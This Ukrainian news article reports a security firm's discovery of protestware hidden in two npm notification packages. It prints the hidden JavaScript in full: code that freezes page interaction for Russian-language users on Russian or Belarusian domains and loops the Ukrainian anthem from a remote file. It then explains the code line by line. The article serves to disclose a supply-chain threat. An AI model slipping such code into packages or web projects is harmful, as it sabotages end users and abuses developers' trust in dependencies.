Рубріки: Новини

У пакетах npm виявили код, який циклічно відтворює гімн України для відвідувачів російських сайтів

Дмитро Сімагін

Команда дослідження загроз Socket виявила два npm-пакети, які використовуються в JavaScript-розробці, з прихованим функціоналом для російськомовних користувачів, що регулярно відвідують російські сайти.

Пакети @link-loom/ui-sdk та @link-loom-react-sdk розроблені, щоб нібито допомогти розробникам створювати гарні спливаючі сповіщення у веб-застосунках. Однак, якщо користувач браузера з російською мовою в налаштуваннях відвідує російський веб-сайт, який використовує ці пакети JavaScript, то його чекає сюрприз: сайт зависає. Користувач не може нічого натиснути, прокручувати чи взаємодіяти будь-яким чином — поки безперервно грає гімн України.

Обидва пакети створені одним розробником, з кількома версіями, на які поширюється проблема (з 1.0.6 по 1.0.99 та з 1.0.100 по 1.0.151). Вони містять відому бібліотеку JavaScript SweetAlert2, яка створює модальні спливаючі вікна браузера, сумісні з React. SweetAlert2 розроблений для браузерних програм і широко використовується в інформаційних та адміністративних панелях, модальних вікнах продуктів тощо.

Пакет @link-loom/ui-sdk має понад 7000 завантажень і тому може впливати на будь-якого веб-розробника, який раніше його завантажував.

Розробники можуть використовувати ці уражені версії, не усвідомлюючи, що пакети зупиняють взаємодію з інтерфейсом користувача на веб-сайтах для будь-яких російськомовних користувачів, які відвідують російські або білоруські веб-сайти. Це підпадає під класифікацію протестного програмного забезпечення (protestware).

Заражені пакети містять понад 100 000 рядків коду. Приблизно через 5000 рядків у модулі /dist/ui-sdk.cjs.js вставлено код:

// Dear russian users visiting russian sites. Let's have fun.
  if (typeof window !== 'undefined' && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|by|xn--p1ai)$/)) {
    var now = new Date();
    var initiationDate = localStorage.getItem('swal-initiation');
    if (!initiationDate) {
      localStorage.setItem('swal-initiation', "".concat(now));
    } else if ((now.getTime() - Date.parse(initiationDate)) / (1000 * 60 * 60 * 24) > 3) {
      setTimeout(function () {
        document.body.style.pointerEvents = 'none';
        var ukrainianAnthem = document.createElement('audio');
        ukrainianAnthem.src = 'https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3';
        ukrainianAnthem.loop = true;
        document.body.appendChild(ukrainianAnthem);
        setTimeout(function () {
          ukrainianAnthem.play()["catch"](function () {
            // ignore
          });
        }, 2500);
      }, 500);
    }
  }

 

Перший рядок коду є комплексним if statement, що вимагає від користувача відповідності всім трьом наступним кваліфікаціям:

  • typeof window !== ‘undefined’ код виконується у браузері.
  • /^ru\\b/.test(navigator.language) — мовні налаштування браузера користувача – російська.
  • location.host.match(/\\.(ru|su|by|xn--p1ai)$/) — поточний домен є російським або білоруським.
  • .ru, .su, та .by позначають російський, радянський та білоруський домени відповідно. xn--p1ai позначає Росію кирилицею як домен .рф, який може зустрічатися на міжнародному рівні.

Для користувача, який відвідує російський або білоруський домен у своєму браузері, де встановлена російська мова, код працює так:

  • Перевіряє поточну дату та час.
  • Намагається отримати збережений рядок дати з браузера. Якщо це перше відвідування, повертає значення null та зберігає поточні дані в рядку.
  • Якщо ключ встановлено, перевіряється, скільки днів минуло з моменту останнього відвідування користувачем сайту.
  • Якщо з моменту відвідування користувачем сайту минуло більше трьох днів, перед подальшою роботою функцій передбачена затримка 500 мс.
  • Цей рядок document.body.style.pointerEvents = ‘none’; вимикає будь-яку взаємодію на сторінці за допомогою миші. Елементи сторінки ігноруватимуть кліки, наведення курсора, прокручування тощо, що фактично робить сторінку нечутливою до вводу користувача.
  • Потім, за допомогою жорсткого кодування віддаленого файлу, відтворюється український державний гімн .mp3. .loop = true. Це забезпечує безперервне відтворення гімну, доки сторінка не завершиться за часом або не буде зупинена вручну. Однак користувач не може зупинити веб-сторінку вручну через блокування під час взаємодії з мишею.
  • Інші частини коду додають затримки, щоб обійти обмеження автовідтворення та непомітно придушити помилки.

На завершення, користувачі, у яких в браузері встановлено російську мову та які відвідують домен .ru, .su, .by, або .рф принаймні вдруге та з інтервалом щонайменше три дні, не зможуть взаємодіяти з веб-сторінкою та зупинити циклічне відтворення гімну України. На екрані не буде помилок, журналів консолі чи візуальних підказок.

 

Останні статті

Google випускає Agent Development Kit (ADK) для Java: новий рівень створення ШІ-агентів

Компанія Google оголосила про запуск Agent Development Kit (ADK), спеціально розробленого для мови програмування Java.…

02.04.2026

Європейців закликали масово переходити на дистанційну роботу

Керівництво Європейського Союзу офіційно заявило про необхідність негайного зниження попиту на пальне. Для цього треба…

02.04.2026

Google зобов’язує розробників програм для Wear OS перейти на 64-бітну архітектуру

Компанія Google офіційно оголосила про впровадження обов’язкової підтримки 64-бітних архітектур для всіх застосунків платформи Wear…

02.04.2026

Як почати розмовляти з legacy-інфраструктурою і спростити життя розробникам

Сьогодні більшість нових систем створюються з використанням контейнерів та хмарної інфраструктури. Але в реальному корпоративному…

02.04.2026

Cтруктуровані промпти підвищують точність моделі до 93% — дослідження Meta

Дослідники компанії Meta розробили новий підхід до використання великих мовних моделей (LLM) для аналізу програмного…

02.04.2026

Google DeepMind розкриває секрети: шість способів, як зламати ШІ-агента

Нове дослідження від Google DeepMind попереджає: поки ми навчаємось працювати з автономними ШІ-агентами, які здатні…

02.04.2026